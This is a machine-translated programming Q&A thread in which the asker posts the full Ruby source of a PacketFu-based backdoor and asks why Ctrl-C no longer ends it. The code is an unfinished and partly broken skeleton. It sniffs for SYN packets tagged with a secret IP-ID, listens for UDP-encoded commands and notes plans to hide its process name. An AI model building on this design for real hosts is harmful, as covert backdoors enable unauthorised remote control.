0
我正在写一个使用PacketFu侦听数据包的红宝石后门程序。Ctrl-c不再杀死我的程序
应用程序工作正常,但由于某些原因,它不会在中断退出(CTRL + C)
这是代码,似乎不受中断的部分。如果我完全清空每个循环,并不重要,它会始终停止忽略中断。
任何想法?
编辑:当packet.stream.each循环执行时(强制某些TCP流量),我可以正确捕获中断。似乎无论PacketFu在等待新数据包时如何使它免于中断。我想现在我会忽略它,如果有人知道什么PacketFu代码可能会导致这种情况,我很想知道!
PS。我已经包含下面的整个服务器代码,以防任何人想要自己测试。
代码段:(参见下面的整个文件)
begin
# Start listening for connection packets via TCP
print "starting up\n"
capturedTCP = PacketFu::Capture.new(:iface => $config[:iface], :start => true, :promisc => true, :filter => "tcp")
print "about to capture\n"
capturedTCP.stream.each { |packet|
puts "Got one!"
pkt = Packet.parse packet
# Check that it is a TCP packet?
if pkt.is_tcp?
# Is it one of our SYN packets?
if pkt.tcp_flags.syn == 1 && pkt.ip_id == $identKey
# TODO: Respond with SYN/ACK
flags = [1,0,0,0,1,0]
payload = ""
tcpResp = tcpConstruct($identKey,srcIP,80,dstIP,Random.rand(65535),flags, payload)
tcpResp.to_w # Sent
# TODO: Use thread instead.
dataListener($identKey,dstIP,dstPort)
end
end
}
rescue Interrupt => e
puts "Interrupted by user"
exit 0
end
整个文件:
require 'rubygems'
require 'packetfu'
require 'thread'
include PacketFu
#TODO: Move these functions to a diff file
# Utility function for loading latest config
def loadConfig(filePath)
#TODO: Load up file and get config
#For now just hard coded.
$iName = "eth0"
identKey = 12345
listenPortMain = "80" # Port to listen for connection requests
processName = "xyz" # Change process name to hide.
filterTCP = "tcp and port #{listenPortMain}"
userCmdField = "src-port" # Options: src-port, dst-port
userCmdRun = "20"
end
# Function for handling client session
def clientListen(ip,port)
# Start listening for connection packets via UDP
capturedUDP = PacketFu::Capture.new(:iface => config[:iface], :start => true, :promisc => true, :filter => "udp and port #{port} and src host #{ip}")
capturedUDP.stream.each { |packet|
pkt = Packet.parse packet
# Check that it is a UDP packet
if pkt.is_udp?
# Is it one of our UDP packets?
if pkt.ip_id == identKey
# Get the data
data = pkt.payload()
# Look for the command type
if userCmdField == "src-port"
cmdFieldVal = pkt.udp_src
end
if userCmdField == "dst-port"
cmdFieldVal = pkt.udp_dst
end
# Command processing
if userCmdField == userCmdRun
cmdDataChrs = [];
# Check for sequence number
seqCurrent = pkt.payload[0].unpack("H*")[0].to_i
seqTotal = pkt.payload[1].unpack("H*")[0].to_i
dataLen = (pkt.payload[2].unpack("H*").chr + pkt.payload[2].unpack("H*").chr).to_i
while pos <= dataLen do
cmdDataChrs.push(pkt.payload[pos])
pos = pos + 1
end
cmdData = cmdDataChrs.unpack("H*")
print "Got command: #{cmdData}"
end
end
end
}
end
#Construct TCP Packet
def tcpConstruct(identKey,srcIP,srcPort,dstIP,dstPort,flags, payload)
#--> Build TCP/IP
#- Build Ethernet header:---------------------------------------
pkt = PacketFu::TCPPacket.new(:config => $config , :flavor => "Linux")
# pkt.eth_src = "00:11:22:33:44:55" # Ether header: Source MAC ; you can use: pkt.eth_header.eth_src
# pkt.eth_dst = "FF:FF:FF:FF:FF:FF" # Ether header: Destination MAC ; you can use: pkt.eth_header.eth_dst
pkt.eth_proto # Ether header: Protocol ; you can use: pkt.eth_header.eth_proto
#- Build IP header:---------------------------------------
pkt.ip_v = 4 # IP header: IPv4 ; you can use: pkt.ip_header.ip_v
pkt.ip_hl = 5 # IP header: IP header length ; you can use: pkt.ip_header.ip_hl
pkt.ip_tos = 0 # IP header: Type of service ; you can use: pkt.ip_header.ip_tos
pkt.ip_len = 20 # IP header: Total Length ; you can use: pkt.ip_header.ip_len
pkt.ip_id = identKey # IP header: Identification ; you can use: pkt.ip_header.ip_id
pkt.ip_frag = 0 # IP header: Don't Fragment ; you can use: pkt.ip_header.ip_frag
pkt.ip_ttl = 115 # IP header: TTL(64) is the default ; you can use: pkt.ip_header.ip_ttl
pkt.ip_proto = 6 # IP header: Protocol = tcp (6) ; you can use: pkt.ip_header.ip_proto
pkt.ip_sum # IP header: Header Checksum ; you can use: pkt.ip_header.ip_sum
pkt.ip_saddr = srcIP # IP header: Source IP. use $config[:ip_saddr] if you want your real IP ; you can use: pkt.ip_header.ip_saddr
pkt.ip_daddr = dstIP # IP header: Destination IP ; you can use: pkt.ip_header.ip_daddr
#- TCP header:---------------------------------------
pkt.payload = payload # TCP header: packet header(body)
pkt.tcp_flags.ack = flags[0] # TCP header: Acknowledgment
pkt.tcp_flags.fin = flags[1] # TCP header: Finish
pkt.tcp_flags.psh = flags[2] # TCP header: Push
pkt.tcp_flags.rst = flags[3] # TCP header: Reset
pkt.tcp_flags.syn = flags[4] # TCP header: Synchronize sequence numbers
pkt.tcp_flags.urg = flags[5] # TCP header: Urgent pointer
pkt.tcp_ecn = 0 # TCP header: ECHO
pkt.tcp_win = 8192 # TCP header: Window
pkt.tcp_hlen = 5 # TCP header: header length
pkt.tcp_src = srcPort # TCP header: Source Port (random is the default)
pkt.tcp_dst = dstPort # TCP header: Destination Port (make it random/range for general scanning)
pkt.recalc # Recalculate/re-build whole pkt (should be at the end)
return pkt
end
def dataListener(identKey,dstIP,dstPort)
# Listen for UDP data packets
print "Listening for Data from #{dstIP}\n"
capturedUDP = PacketFu::Capture.new(:iface => $config[:iface], :start => true, :promisc => true, :filter => "udp and port #{dstPort}")
capturedTCP.stream.each { |packet|
pkt = Packet.parse packet
if pkt.ip_id == identKey
# Get Packet Type
if userCmdField == "src-port"
dataType = pkt.udp_src
elsif userCmdField == "dst-port"
dataType = pkt.udp_dst
end
if dataType == userCmdRun
cmdLen = pkt.payload[0].unpack("c*")
cmd = ""
while i <= cmdLen do
cmd += pkt.payload[i].unpack("h*")
end
print "Command: #{cmd}\n"
end
end
}
end
# - - - - Begin Main
# Get config from file
loadConfig("/path/to/file.txt")
#$config = PacketFu::Config.new(PacketFu::Utils.whoami?(:iface=> iName)).config # set interface
$config = PacketFu::Config.new(:iface=> $iName).config # use this line instead of above if you face `whoami?': uninitialized constant PacketFu::Capture (NameError)
#TODO: Mask process name from config
# Create sessions array (Holds threads)
sessions = []
Signal.trap('INT') { exit 0 }
begin
# Start listening for connection packets via TCP
print "starting up\n"
capturedTCP = PacketFu::Capture.new(:iface => $config[:iface], :start => true, :promisc => true, :filter => "tcp")
print "about to capture\n"
capturedTCP.stream.each { |packet|
puts "Got one!"
pkt = Packet.parse packet
# Check that it is a TCP packet?
if pkt.is_tcp?
# Is it one of our SYN packets?
if pkt.tcp_flags.syn == 1 && pkt.ip_id == $identKey
# TODO: Respond with SYN/ACK
flags = [1,0,0,0,1,0]
payload = ""
tcpResp = tcpConstruct($identKey,srcIP,80,dstIP,Random.rand(65535),flags, payload)
tcpResp.to_w # Sent
# TODO: Use thread instead.
dataListener($identKey,dstIP,dstPort)
end
end
}
end
感谢:
此外,你可以退出程序前做一些清理帮助,但没有改变如果我在开始块之前或之后添加陷阱。 我可以按Ctrl-c所有我想要的和字符只出现在终端。如果我输入Ctrl-z,那么它将会注册中断,但是只能让它进入睡眠状态(我仍然必须通过PID来清除它)。 –
尝试'Signal.trap('INT'){放置“强制退出...”; :: Process.exit! }'让我知道你是否在输出 – 2012-11-26 00:51:41
中看到“强制退出”并在开始块之前和之后尝试了它,并且根本没有输出。 –